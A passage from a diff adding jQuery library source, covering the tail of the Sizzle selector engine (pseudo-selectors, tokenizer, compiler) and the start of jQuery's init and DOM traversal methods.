+		// http://www.w3.org/TR/selectors/#lang-pseudo
+		"lang": markFunction( function( lang ) {
+			// lang value must be a valid identifier
+			if ( !ridentifier.test(lang || "") ) {
+				Sizzle.error( "unsupported lang: " + lang );
+			}
+			lang = lang.replace( runescape, funescape ).toLowerCase();
+			return function( elem ) {
+				var elemLang;
+				do {
+					if ( (elemLang = documentIsHTML ?
+						elem.lang :
+						elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
+
+						elemLang = elemLang.toLowerCase();
+						return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
+					}
+				} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
+				return false;
+			};
+		}),
+
+		// Miscellaneous
+		"target": function( elem ) {
+			var hash = window.location && window.location.hash;
+			return hash && hash.slice( 1 ) === elem.id;
+		},
+
+		"root": function( elem ) {
+			return elem === docElem;
+		},
+
+		"focus": function( elem ) {
+			return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
+		},
+
+		// Boolean properties
+		"enabled": function( elem ) {
+			return elem.disabled === false;
+		},
+
+		"disabled": function( elem ) {
+			return elem.disabled === true;
+		},
+
+		"checked": function( elem ) {
+			// In CSS3, :checked should return both checked and selected elements
+			// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
+			var nodeName = elem.nodeName.toLowerCase();
+			return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
+		},
+
+		"selected": function( elem ) {
+			// Accessing this property makes selected-by-default
+			// options in Safari work properly
+			if ( elem.parentNode ) {
+				elem.parentNode.selectedIndex;
+			}
+
+			return elem.selected === true;
+		},
+
+		// Contents
+		"empty": function( elem ) {
+			// http://www.w3.org/TR/selectors/#empty-pseudo
+			// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
+			//   but not by others (comment: 8; processing instruction: 7; etc.)
+			// nodeType < 6 works because attributes (2) do not appear as children
+			for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
+				if ( elem.nodeType < 6 ) {
+					return false;
+				}
+			}
+			return true;
+		},
+
+		"parent": function( elem ) {
+			return !Expr.pseudos["empty"]( elem );
+		},
+
+		// Element/input types
+		"header": function( elem ) {
+			return rheader.test( elem.nodeName );
+		},
+
+		"input": function( elem ) {
+			return rinputs.test( elem.nodeName );
+		},
+
+		"button": function( elem ) {
+			var name = elem.nodeName.toLowerCase();
+			return name === "input" && elem.type === "button" || name === "button";
+		},
+
+		"text": function( elem ) {
+			var attr;
+			return elem.nodeName.toLowerCase() === "input" &&
+				elem.type === "text" &&
+
+				// Support: IE<8
+				// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
+				( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
+		},
+
+		// Position-in-collection
+		"first": createPositionalPseudo(function() {
+			return [ 0 ];
+		}),
+
+		"last": createPositionalPseudo(function( matchIndexes, length ) {
+			return [ length - 1 ];
+		}),
+
+		"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			return [ argument < 0 ? argument + length : argument ];
+		}),
+
+		"even": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 0;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"odd": createPositionalPseudo(function( matchIndexes, length ) {
+			var i = 1;
+			for ( ; i < length; i += 2 ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"lt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; --i >= 0; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		}),
+
+		"gt": createPositionalPseudo(function( matchIndexes, length, argument ) {
+			var i = argument < 0 ? argument + length : argument;
+			for ( ; ++i < length; ) {
+				matchIndexes.push( i );
+			}
+			return matchIndexes;
+		})
+	}
+};
+
+Expr.pseudos["nth"] = Expr.pseudos["eq"];
+
+// Add button/input type pseudos
+for ( i in { radio: true, checkbox: true, file: true, password: true, image: true } ) {
+	Expr.pseudos[ i ] = createInputPseudo( i );
+}
+for ( i in { submit: true, reset: true } ) {
+	Expr.pseudos[ i ] = createButtonPseudo( i );
+}
+
+// Easy API for creating new setFilters
+function setFilters() {}
+setFilters.prototype = Expr.filters = Expr.pseudos;
+Expr.setFilters = new setFilters();
+
+tokenize = Sizzle.tokenize = function( selector, parseOnly ) {
+	var matched, match, tokens, type,
+		soFar, groups, preFilters,
+		cached = tokenCache[ selector + " " ];
+
+	if ( cached ) {
+		return parseOnly ? 0 : cached.slice( 0 );
+	}
+
+	soFar = selector;
+	groups = [];
+	preFilters = Expr.preFilter;
+
+	while ( soFar ) {
+
+		// Comma and first run
+		if ( !matched || (match = rcomma.exec( soFar )) ) {
+			if ( match ) {
+				// Don't consume trailing commas as valid
+				soFar = soFar.slice( match[0].length ) || soFar;
+			}
+			groups.push( (tokens = []) );
+		}
+
+		matched = false;
+
+		// Combinators
+		if ( (match = rcombinators.exec( soFar )) ) {
+			matched = match.shift();
+			tokens.push({
+				value: matched,
+				// Cast descendant combinators to space
+				type: match[0].replace( rtrim, " " )
+			});
+			soFar = soFar.slice( matched.length );
+		}
+
+		// Filters
+		for ( type in Expr.filter ) {
+			if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
+				(match = preFilters[ type ]( match ))) ) {
+				matched = match.shift();
+				tokens.push({
+					value: matched,
+					type: type,
+					matches: match
+				});
+				soFar = soFar.slice( matched.length );
+			}
+		}
+
+		if ( !matched ) {
+			break;
+		}
+	}
+
+	// Return the length of the invalid excess
+	// if we're just parsing
+	// Otherwise, throw an error or return tokens
+	return parseOnly ?
+		soFar.length :
+		soFar ?
+			Sizzle.error( selector ) :
+			// Cache the tokens
+			tokenCache( selector, groups ).slice( 0 );
+};
+
+function toSelector( tokens ) {
+	var i = 0,
+		len = tokens.length,
+		selector = "";
+	for ( ; i < len; i++ ) {
+		selector += tokens[i].value;
+	}
+	return selector;
+}
+
+function addCombinator( matcher, combinator, base ) {
+	var dir = combinator.dir,
+		checkNonElements = base && dir === "parentNode",
+		doneName = done++;
+
+	return combinator.first ?
+		// Check against closest ancestor/preceding element
+		function( elem, context, xml ) {
+			while ( (elem = elem[ dir ]) ) {
+				if ( elem.nodeType === 1 || checkNonElements ) {
+					return matcher( elem, context, xml );
+				}
+			}
+		} :
+
+		// Check against all ancestor/preceding elements
+		function( elem, context, xml ) {
+			var oldCache, outerCache,
+				newCache = [ dirruns, doneName ];
+
+			// We can't set arbitrary data on XML nodes, so they don't benefit from dir caching
+			if ( xml ) {
+				while ( (elem = elem[ dir ]) ) {
+					if ( elem.nodeType === 1 || checkNonElements ) {
+						if ( matcher( elem, context, xml ) ) {
+							return true;
+						}
+					}
+				}
+			} else {
+				while ( (elem = elem[ dir ]) ) {
+					if ( elem.nodeType === 1 || checkNonElements ) {
+						outerCache = elem[ expando ] || (elem[ expando ] = {});
+						if ( (oldCache = outerCache[ dir ]) &&
+							oldCache[ 0 ] === dirruns && oldCache[ 1 ] === doneName ) {
+
+							// Assign to newCache so results back-propagate to previous elements
+							return (newCache[ 2 ] = oldCache[ 2 ]);
+						} else {
+							// Reuse newcache so results back-propagate to previous elements
+							outerCache[ dir ] = newCache;
+
+							// A match means we're done; a fail means we have to keep checking
+							if ( (newCache[ 2 ] = matcher( elem, context, xml )) ) {
+								return true;
+							}
+						}
+					}
+				}
+			}
+		};
+}
+
+function elementMatcher( matchers ) {
+	return matchers.length > 1 ?
+		function( elem, context, xml ) {
+			var i = matchers.length;
+			while ( i-- ) {
+				if ( !matchers[i]( elem, context, xml ) ) {
+					return false;
+				}
+			}
+			return true;
+		} :
+		matchers[0];
+}
+
+function multipleContexts( selector, contexts, results ) {
+	var i = 0,
+		len = contexts.length;
+	for ( ; i < len; i++ ) {
+		Sizzle( selector, contexts[i], results );
+	}
+	return results;
+}
+
+function condense( unmatched, map, filter, context, xml ) {
+	var elem,
+		newUnmatched = [],
+		i = 0,
+		len = unmatched.length,
+		mapped = map != null;
+
+	for ( ; i < len; i++ ) {
+		if ( (elem = unmatched[i]) ) {
+			if ( !filter || filter( elem, context, xml ) ) {
+				newUnmatched.push( elem );
+				if ( mapped ) {
+					map.push( i );
+				}
+			}
+		}
+	}
+
+	return newUnmatched;
+}
+
+function setMatcher( preFilter, selector, matcher, postFilter, postFinder, postSelector ) {
+	if ( postFilter && !postFilter[ expando ] ) {
+		postFilter = setMatcher( postFilter );
+	}
+	if ( postFinder && !postFinder[ expando ] ) {
+		postFinder = setMatcher( postFinder, postSelector );
+	}
+	return markFunction(function( seed, results, context, xml ) {
+		var temp, i, elem,
+			preMap = [],
+			postMap = [],
+			preexisting = results.length,
+
+			// Get initial elements from seed or context
+			elems = seed || multipleContexts( selector || "*", context.nodeType ? [ context ] : context, [] ),
+
+			// Prefilter to get matcher input, preserving a map for seed-results synchronization
+			matcherIn = preFilter && ( seed || !selector ) ?
+				condense( elems, preMap, preFilter, context, xml ) :
+				elems,
+
+			matcherOut = matcher ?
+				// If we have a postFinder, or filtered seed, or non-seed postFilter or preexisting results,
+				postFinder || ( seed ? preFilter : preexisting || postFilter ) ?
+
+					// ...intermediate processing is necessary
+					[] :
+
+					// ...otherwise use results directly
+					results :
+				matcherIn;
+
+		// Find primary matches
+		if ( matcher ) {
+			matcher( matcherIn, matcherOut, context, xml );
+		}
+
+		// Apply postFilter
+		if ( postFilter ) {
+			temp = condense( matcherOut, postMap );
+			postFilter( temp, [], context, xml );
+
+			// Un-match failing elements by moving them back to matcherIn
+			i = temp.length;
+			while ( i-- ) {
+				if ( (elem = temp[i]) ) {
+					matcherOut[ postMap[i] ] = !(matcherIn[ postMap[i] ] = elem);
+				}
+			}
+		}
+
+		if ( seed ) {
+			if ( postFinder || preFilter ) {
+				if ( postFinder ) {
+					// Get the final matcherOut by condensing this intermediate into postFinder contexts
+					temp = [];
+					i = matcherOut.length;
+					while ( i-- ) {
+						if ( (elem = matcherOut[i]) ) {
+							// Restore matcherIn since elem is not yet a final match
+							temp.push( (matcherIn[i] = elem) );
+						}
+					}
+					postFinder( null, (matcherOut = []), temp, xml );
+				}
+
+				// Move matched elements from seed to results to keep them synchronized
+				i = matcherOut.length;
+				while ( i-- ) {
+					if ( (elem = matcherOut[i]) &&
+						(temp = postFinder ? indexOf( seed, elem ) : preMap[i]) > -1 ) {
+
+						seed[temp] = !(results[temp] = elem);
+					}
+				}
+			}
+
+		// Add elements to results, through postFinder if defined
+		} else {
+			matcherOut = condense(
+				matcherOut === results ?
+					matcherOut.splice( preexisting, matcherOut.length ) :
+					matcherOut
+			);
+			if ( postFinder ) {
+				postFinder( null, results, matcherOut, xml );
+			} else {
+				push.apply( results, matcherOut );
+			}
+		}
+	});
+}
+
+function matcherFromTokens( tokens ) {
+	var checkContext, matcher, j,
+		len = tokens.length,
+		leadingRelative = Expr.relative[ tokens[0].type ],
+		implicitRelative = leadingRelative || Expr.relative[" "],
+		i = leadingRelative ? 1 : 0,
+
+		// The foundational matcher ensures that elements are reachable from top-level context(s)
+		matchContext = addCombinator( function( elem ) {
+			return elem === checkContext;
+		}, implicitRelative, true ),
+		matchAnyContext = addCombinator( function( elem ) {
+			return indexOf( checkContext, elem ) > -1;
+		}, implicitRelative, true ),
+		matchers = [ function( elem, context, xml ) {
+			var ret = ( !leadingRelative && ( xml || context !== outermostContext ) ) || (
+				(checkContext = context).nodeType ?
+					matchContext( elem, context, xml ) :
+					matchAnyContext( elem, context, xml ) );
+			// Avoid hanging onto element (issue #299)
+			checkContext = null;
+			return ret;
+		} ];
+
+	for ( ; i < len; i++ ) {
+		if ( (matcher = Expr.relative[ tokens[i].type ]) ) {
+			matchers = [ addCombinator(elementMatcher( matchers ), matcher) ];
+		} else {
+			matcher = Expr.filter[ tokens[i].type ].apply( null, tokens[i].matches );
+
+			// Return special upon seeing a positional matcher
+			if ( matcher[ expando ] ) {
+				// Find the next relative operator (if any) for proper handling
+				j = ++i;
+				for ( ; j < len; j++ ) {
+					if ( Expr.relative[ tokens[j].type ] ) {
+						break;
+					}
+				}
+				return setMatcher(
+					i > 1 && elementMatcher( matchers ),
+					i > 1 && toSelector(
+						// If the preceding token was a descendant combinator, insert an implicit any-element `*`
+						tokens.slice( 0, i - 1 ).concat({ value: tokens[ i - 2 ].type === " " ? "*" : "" })
+					).replace( rtrim, "$1" ),
+					matcher,
+					i < j && matcherFromTokens( tokens.slice( i, j ) ),
+					j < len && matcherFromTokens( (tokens = tokens.slice( j )) ),
+					j < len && toSelector( tokens )
+				);
+			}
+			matchers.push( matcher );
+		}
+	}
+
+	return elementMatcher( matchers );
+}
+
+function matcherFromGroupMatchers( elementMatchers, setMatchers ) {
+	var bySet = setMatchers.length > 0,
+		byElement = elementMatchers.length > 0,
+		superMatcher = function( seed, context, xml, results, outermost ) {
+			var elem, j, matcher,
+				matchedCount = 0,
+				i = "0",
+				unmatched = seed && [],
+				setMatched = [],
+				contextBackup = outermostContext,
+				// We must always have either seed elements or outermost context
+				elems = seed || byElement && Expr.find["TAG"]( "*", outermost ),
+				// Use integer dirruns iff this is the outermost matcher
+				dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
+				len = elems.length;
+
+			if ( outermost ) {
+				outermostContext = context !== document && context;
+			}
+
+			// Add elements passing elementMatchers directly to results
+			// Keep `i` a string if there are no elements so `matchedCount` will be "00" below
+			// Support: IE<9, Safari
+			// Tolerate NodeList properties (IE: "length"; Safari: <number>) matching elements by id
+			for ( ; i !== len && (elem = elems[i]) != null; i++ ) {
+				if ( byElement && elem ) {
+					j = 0;
+					while ( (matcher = elementMatchers[j++]) ) {
+						if ( matcher( elem, context, xml ) ) {
+							results.push( elem );
+							break;
+						}
+					}
+					if ( outermost ) {
+						dirruns = dirrunsUnique;
+					}
+				}
+
+				// Track unmatched elements for set filters
+				if ( bySet ) {
+					// They will have gone through all possible matchers
+					if ( (elem = !matcher && elem) ) {
+						matchedCount--;
+					}
+
+					// Lengthen the array for every element, matched or not
+					if ( seed ) {
+						unmatched.push( elem );
+					}
+				}
+			}
+
+			// Apply set filters to unmatched elements
+			matchedCount += i;
+			if ( bySet && i !== matchedCount ) {
+				j = 0;
+				while ( (matcher = setMatchers[j++]) ) {
+					matcher( unmatched, setMatched, context, xml );
+				}
+
+				if ( seed ) {
+					// Reintegrate element matches to eliminate the need for sorting
+					if ( matchedCount > 0 ) {
+						while ( i-- ) {
+							if ( !(unmatched[i] || setMatched[i]) ) {
+								setMatched[i] = pop.call( results );
+							}
+						}
+					}
+
+					// Discard index placeholder values to get only actual matches
+					setMatched = condense( setMatched );
+				}
+
+				// Add matches to results
+				push.apply( results, setMatched );
+
+				// Seedless set matches succeeding multiple successful matchers stipulate sorting
+				if ( outermost && !seed && setMatched.length > 0 &&
+					( matchedCount + setMatchers.length ) > 1 ) {
+
+					Sizzle.uniqueSort( results );
+				}
+			}
+
+			// Override manipulation of globals by nested matchers
+			if ( outermost ) {
+				dirruns = dirrunsUnique;
+				outermostContext = contextBackup;
+			}
+
+			return unmatched;
+		};
+
+	return bySet ?
+		markFunction( superMatcher ) :
+		superMatcher;
+}
+
+compile = Sizzle.compile = function( selector, match /* Internal Use Only */ ) {
+	var i,
+		setMatchers = [],
+		elementMatchers = [],
+		cached = compilerCache[ selector + " " ];
+
+	if ( !cached ) {
+		// Generate a function of recursive functions that can be used to check each element
+		if ( !match ) {
+			match = tokenize( selector );
+		}
+		i = match.length;
+		while ( i-- ) {
+			cached = matcherFromTokens( match[i] );
+			if ( cached[ expando ] ) {
+				setMatchers.push( cached );
+			} else {
+				elementMatchers.push( cached );
+			}
+		}
+
+		// Cache the compiled function
+		cached = compilerCache( selector, matcherFromGroupMatchers( elementMatchers, setMatchers ) );
+
+		// Save selector and tokenization
+		cached.selector = selector;
+	}
+	return cached;
+};
+
+/**
+ * A low-level selection function that works with Sizzle's compiled
+ *  selector functions
+ * @param {String|Function} selector A selector or a pre-compiled
+ *  selector function built with Sizzle.compile
+ * @param {Element} context
+ * @param {Array} [results]
+ * @param {Array} [seed] A set of elements to match against
+ */
+select = Sizzle.select = function( selector, context, results, seed ) {
+	var i, tokens, token, type, find,
+		compiled = typeof selector === "function" && selector,
+		match = !seed && tokenize( (selector = compiled.selector || selector) );
+
+	results = results || [];
+
+	// Try to minimize operations if there is no seed and only one group
+	if ( match.length === 1 ) {
+
+		// Take a shortcut and set the context if the root selector is an ID
+		tokens = match[0] = match[0].slice( 0 );
+		if ( tokens.length > 2 && (token = tokens[0]).type === "ID" &&
+				support.getById && context.nodeType === 9 && documentIsHTML &&
+				Expr.relative[ tokens[1].type ] ) {
+
+			context = ( Expr.find["ID"]( token.matches[0].replace(runescape, funescape), context ) || [] )[0];
+			if ( !context ) {
+				return results;
+
+			// Precompiled matchers will still verify ancestry, so step up a level
+			} else if ( compiled ) {
+				context = context.parentNode;
+			}
+
+			selector = selector.slice( tokens.shift().value.length );
+		}
+
+		// Fetch a seed set for right-to-left matching
+		i = matchExpr["needsContext"].test( selector ) ? 0 : tokens.length;
+		while ( i-- ) {
+			token = tokens[i];
+
+			// Abort if we hit a combinator
+			if ( Expr.relative[ (type = token.type) ] ) {
+				break;
+			}
+			if ( (find = Expr.find[ type ]) ) {
+				// Search, expanding context for leading sibling combinators
+				if ( (seed = find(
+					token.matches[0].replace( runescape, funescape ),
+					rsibling.test( tokens[0].type ) && testContext( context.parentNode ) || context
+				)) ) {
+
+					// If seed is empty or no tokens remain, we can return early
+					tokens.splice( i, 1 );
+					selector = seed.length && toSelector( tokens );
+					if ( !selector ) {
+						push.apply( results, seed );
+						return results;
+					}
+
+					break;
+				}
+			}
+		}
+	}
+
+	// Compile and execute a filtering function if one is not provided
+	// Provide `match` to avoid retokenization if we modified the selector above
+	( compiled || compile( selector, match ) )(
+		seed,
+		context,
+		!documentIsHTML,
+		results,
+		rsibling.test( selector ) && testContext( context.parentNode ) || context
+	);
+	return results;
+};
+
+// One-time assignments
+
+// Sort stability
+support.sortStable = expando.split("").sort( sortOrder ).join("") === expando;
+
+// Support: Chrome 14-35+
+// Always assume duplicates if they aren't passed to the comparison function
+support.detectDuplicates = !!hasDuplicate;
+
+// Initialize against the default document
+setDocument();
+
+// Support: Webkit<537.32 - Safari 6.0.3/Chrome 25 (fixed in Chrome 27)
+// Detached nodes confoundingly follow *each other*
+support.sortDetached = assert(function( div1 ) {
+	// Should return 1, but returns 4 (following)
+	return div1.compareDocumentPosition( document.createElement("div") ) & 1;
+});
+
+// Support: IE<8
+// Prevent attribute/property "interpolation"
+// http://msdn.microsoft.com/en-us/library/ms536429%28VS.85%29.aspx
+if ( !assert(function( div ) {
+	div.innerHTML = "<a href='#'></a>";
+	return div.firstChild.getAttribute("href") === "#" ;
+}) ) {
+	addHandle( "type|href|height|width", function( elem, name, isXML ) {
+		if ( !isXML ) {
+			return elem.getAttribute( name, name.toLowerCase() === "type" ? 1 : 2 );
+		}
+	});
+}
+
+// Support: IE<9
+// Use defaultValue in place of getAttribute("value")
+if ( !support.attributes || !assert(function( div ) {
+	div.innerHTML = "<input/>";
+	div.firstChild.setAttribute( "value", "" );
+	return div.firstChild.getAttribute( "value" ) === "";
+}) ) {
+	addHandle( "value", function( elem, name, isXML ) {
+		if ( !isXML && elem.nodeName.toLowerCase() === "input" ) {
+			return elem.defaultValue;
+		}
+	});
+}
+
+// Support: IE<9
+// Use getAttributeNode to fetch booleans when getAttribute lies
+if ( !assert(function( div ) {
+	return div.getAttribute("disabled") == null;
+}) ) {
+	addHandle( booleans, function( elem, name, isXML ) {
+		var val;
+		if ( !isXML ) {
+			return elem[ name ] === true ? name.toLowerCase() :
+					(val = elem.getAttributeNode( name )) && val.specified ?
+					val.value :
+				null;
+		}
+	});
+}
+
+return Sizzle;
+
+})( window );
+
+
+
+jQuery.find = Sizzle;
+jQuery.expr = Sizzle.selectors;
+jQuery.expr[":"] = jQuery.expr.pseudos;
+jQuery.unique = Sizzle.uniqueSort;
+jQuery.text = Sizzle.getText;
+jQuery.isXMLDoc = Sizzle.isXML;
+jQuery.contains = Sizzle.contains;
+
+
+
+var rneedsContext = jQuery.expr.match.needsContext;
+
+var rsingleTag = (/^<(\w+)\s*\/?>(?:<\/\1>|)$/);
+
+
+
+var risSimple = /^.[^:#\[\.,]*$/;
+
+// Implement the identical functionality for filter and not
+function winnow( elements, qualifier, not ) {
+	if ( jQuery.isFunction( qualifier ) ) {
+		return jQuery.grep( elements, function( elem, i ) {
+			/* jshint -W018 */
+			return !!qualifier.call( elem, i, elem ) !== not;
+		});
+
+	}
+
+	if ( qualifier.nodeType ) {
+		return jQuery.grep( elements, function( elem ) {
+			return ( elem === qualifier ) !== not;
+		});
+
+	}
+
+	if ( typeof qualifier === "string" ) {
+		if ( risSimple.test( qualifier ) ) {
+			return jQuery.filter( qualifier, elements, not );
+		}
+
+		qualifier = jQuery.filter( qualifier, elements );
+	}
+
+	return jQuery.grep( elements, function( elem ) {
+		return ( indexOf.call( qualifier, elem ) >= 0 ) !== not;
+	});
+}
+
+jQuery.filter = function( expr, elems, not ) {
+	var elem = elems[ 0 ];
+
+	if ( not ) {
+		expr = ":not(" + expr + ")";
+	}
+
+	return elems.length === 1 && elem.nodeType === 1 ?
+		jQuery.find.matchesSelector( elem, expr ) ? [ elem ] : [] :
+		jQuery.find.matches( expr, jQuery.grep( elems, function( elem ) {
+			return elem.nodeType === 1;
+		}));
+};
+
+jQuery.fn.extend({
+	find: function( selector ) {
+		var i,
+			len = this.length,
+			ret = [],
+			self = this;
+
+		if ( typeof selector !== "string" ) {
+			return this.pushStack( jQuery( selector ).filter(function() {
+				for ( i = 0; i < len; i++ ) {
+					if ( jQuery.contains( self[ i ], this ) ) {
+						return true;
+					}
+				}
+			}) );
+		}
+
+		for ( i = 0; i < len; i++ ) {
+			jQuery.find( selector, self[ i ], ret );
+		}
+
+		// Needed because $( selector, context ) becomes $( context ).find( selector )
+		ret = this.pushStack( len > 1 ? jQuery.unique( ret ) : ret );
+		ret.selector = this.selector ? this.selector + " " + selector : selector;
+		return ret;
+	},
+	filter: function( selector ) {
+		return this.pushStack( winnow(this, selector || [], false) );
+	},
+	not: function( selector ) {
+		return this.pushStack( winnow(this, selector || [], true) );
+	},
+	is: function( selector ) {
+		return !!winnow(
+			this,
+
+			// If this is a positional/relative selector, check membership in the returned set
+			// so $("p:first").is("p:last") won't return true for a doc with two "p".
+			typeof selector === "string" && rneedsContext.test( selector ) ?
+				jQuery( selector ) :
+				selector || [],
+			false
+		).length;
+	}
+});
+
+
+// Initialize a jQuery object
+
+
+// A central reference to the root jQuery(document)
+var rootjQuery,
+
+	// A simple way to check for HTML strings
+	// Prioritize #id over <tag> to avoid XSS via location.hash (#9521)
+	// Strict HTML recognition (#11290: must start with <)
+	rquickExpr = /^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,
+
+	init = jQuery.fn.init = function( selector, context ) {
+		var match, elem;
+
+		// HANDLE: $(""), $(null), $(undefined), $(false)
+		if ( !selector ) {
+			return this;
+		}
+
+		// Handle HTML strings
+		if ( typeof selector === "string" ) {
+			if ( selector[0] === "<" && selector[ selector.length - 1 ] === ">" && selector.length >= 3 ) {
+				// Assume that strings that start and end with <> are HTML and skip the regex check
+				match = [ null, selector, null ];
+
+			} else {
+				match = rquickExpr.exec( selector );
+			}
+
+			// Match html or make sure no context is specified for #id
+			if ( match && (match[1] || !context) ) {
+
+				// HANDLE: $(html) -> $(array)
+				if ( match[1] ) {
+					context = context instanceof jQuery ? context[0] : context;
+
+					// Option to run scripts is true for back-compat
+					// Intentionally let the error be thrown if parseHTML is not present
+					jQuery.merge( this, jQuery.parseHTML(
+						match[1],
+						context && context.nodeType ? context.ownerDocument || context : document,
+						true
+					) );
+
+					// HANDLE: $(html, props)
+					if ( rsingleTag.test( match[1] ) && jQuery.isPlainObject( context ) ) {
+						for ( match in context ) {
+							// Properties of context are called as methods if possible
+							if ( jQuery.isFunction( this[ match ] ) ) {
+								this[ match ]( context[ match ] );
+
+							// ...and otherwise set as attributes
+							} else {
+								this.attr( match, context[ match ] );
+							}
+						}
+					}
+
+					return this;
+
+				// HANDLE: $(#id)
+				} else {
+					elem = document.getElementById( match[2] );
+
+					// Support: Blackberry 4.6
+					// gEBID returns nodes no longer in the document (#6963)
+					if ( elem && elem.parentNode ) {
+						// Inject the element directly into the jQuery object
+						this.length = 1;
+						this[0] = elem;
+					}
+
+					this.context = document;
+					this.selector = selector;
+					return this;
+				}
+
+			// HANDLE: $(expr, $(...))
+			} else if ( !context || context.jquery ) {
+				return ( context || rootjQuery ).find( selector );
+
+			// HANDLE: $(expr, context)
+			// (which is just equivalent to: $(context).find(expr)
+			} else {
+				return this.constructor( context ).find( selector );
+			}
+
+		// HANDLE: $(DOMElement)
+		} else if ( selector.nodeType ) {
+			this.context = this[0] = selector;
+			this.length = 1;
+			return this;
+
+		// HANDLE: $(function)
+		// Shortcut for document ready
+		} else if ( jQuery.isFunction( selector ) ) {
+			return typeof rootjQuery.ready !== "undefined" ?
+				rootjQuery.ready( selector ) :
+				// Execute immediately if ready is not present
+				selector( jQuery );
+		}
+
+		if ( selector.selector !== undefined ) {
+			this.selector = selector.selector;
+			this.context = selector.context;
+		}
+
+		return jQuery.makeArray( selector, this );
+	};
+
+// Give the init function the jQuery prototype for later instantiation
+init.prototype = jQuery.fn;
+
+// Initialize central reference
+rootjQuery = jQuery( document );
+
+
+var rparentsprev = /^(?:parents|prev(?:Until|All))/,
+	// Methods guaranteed to produce a unique set when starting from a unique set
+	guaranteedUnique = {
+		children: true,
+		contents: true,
+		next: true,
+		prev: true
+	};
+
+jQuery.extend({
+	dir: function( elem, dir, until ) {
+		var matched = [],
+			truncate = until !== undefined;
+
+		while ( (elem = elem[ dir ]) && elem.nodeType !== 9 ) {
+			if ( elem.nodeType === 1 ) {
+				if ( truncate && jQuery( elem ).is( until ) ) {
+					break;
+				}
+				matched.push( elem );
+			}
+		}
+		return matched;
+	},
+
+	sibling: function( n, elem ) {
+		var matched = [];
+
+		for ( ; n; n = n.nextSibling ) {
+			if ( n.nodeType === 1 && n !== elem ) {
+				matched.push( n );
+			}
+		}
+
+		return matched;
+	}
+});
+
+jQuery.fn.extend({
+	has: function( target ) {
+		var targets = jQuery( target, this ),
+			l = targets.length;
+
+		return this.filter(function() {
+			var i = 0;
+			for ( ; i < l; i++ ) {
+				if ( jQuery.contains( this, targets[i] ) ) {
+					return true;
+				}
+			}
+		});
+	},
+
+	closest: function( selectors, context ) {
+		var cur,
+			i = 0,
+			l = this.length,
+			matched = [],
+			pos = rneedsContext.test( selectors ) || typeof selectors !== "string" ?
+				jQuery( selectors, context || this.context ) :
+				0;
+
+		for ( ; i < l; i++ ) {
+			for ( cur = this[i]; cur && cur !== context; cur = cur.parentNode ) {
+				// Always skip document fragments
+				if ( cur.nodeType < 11 && (pos ?
+					pos.index(cur) > -1 :
+
+					// Don't pass non-elements to Sizzle
+					cur.nodeType === 1 &&
+						jQuery.find.matchesSelector(cur, selectors)) ) {
+
+					matched.push( cur );
+					break;
+				}
+			}
+		}
+
+		return this.pushStack( matched.length > 1 ? jQuery.unique( matched ) : matched );
+	},
+
+	// Determine the position of an element within the set
+	index: function( elem ) {
+
+		// No argument, return index in parent
+		if ( !elem ) {
+			return ( this[ 0 ] && this[ 0 ].parentNode ) ? this.first().prevAll().length : -1;
+		}
+
+		// Index in selector
+		if ( typeof elem === "string" ) {
+			return indexOf.call( jQuery( elem ), this[ 0 ] );
+		}
+
+		// Locate the position of the desired element
+		return indexOf.call( this,
+
+			// If it receives a jQuery object, the first element is used
+			elem.jquery ? elem[ 0 ] : elem
+		);
+	},
+
+	add: function( selector, context ) {
+		return this.pushStack(
+			jQuery.unique(
+				jQuery.merge( this.get(), jQuery( selector, context ) )
+			)
+		);
+	},
+
+	addBack: function( selector ) {
+		return this.add( selector == null ?
+			this.prevObject : this.prevObject.filter(selector)
+		);
+	}
+});
+
+function sibling( cur, dir ) {
+	while ( (cur = cur[dir]) && cur.nodeType !== 1 ) {}
+	return cur;
+}
+
+jQuery.each({
+	parent: function( elem ) {
+		var parent = elem.parentNode;
+		return parent && parent.nodeType !== 11 ? parent : null;
+	},
+	parents: function( elem ) {
+		return jQuery.dir( elem, "parentNode" );
+	},
+	parentsUntil: function( elem, i, until ) {
+		return jQuery.dir( elem, "parentNode", until );
+	},
+	next: function( elem ) {
+		return sibling( elem, "nextSibling" );
+	},
+	prev: function( elem ) {
+		return sibling( elem, "previousSibling" );
+	},
+	nextAll: function( elem ) {
+		return jQuery.dir( elem, "nextSibling" );
+	},
+	prevAll: function( elem ) {
+		return jQuery.dir( elem, "previousSibling" );
+	},
+	nextUntil: function( elem, i, until ) {
+		return jQuery.dir( elem, "nextSibling", until );
+	},
+	prevUntil: function( elem, i, until ) {
+		return jQuery.dir( elem, "previousSibling", until );
+	},
+	siblings: function( elem ) {
+		return jQuery.sibling( ( elem.parentNode || {} ).firstChild, elem );
+	},
+	children: function( elem ) {
+		return jQuery.sibling( elem.firstChild );
+	},
+	contents: function( elem ) {
+		return elem.contentDocument || jQuery.merge( [], elem.childNodes );
+	}
+}, function( name, fn ) {
+	jQuery.fn[ name ] = function( until, selector ) {
+		var matched = jQuery.map( this, fn, until );
+
+		if ( name.slice( -5 ) !== "Until" ) {
+			selector = until;
+		}
+
+		if ( selector && typeof selector === "string" ) {
+			matched = jQuery.filter( selector, matched );
+		}
+
+		if ( this.length > 1 ) {
+			// Remove duplicates
+			if ( !guaranteedUnique[ name ] ) {
+				jQuery.unique( matched );
+			}
+
+			// Reverse order for parents* and prev-derivatives
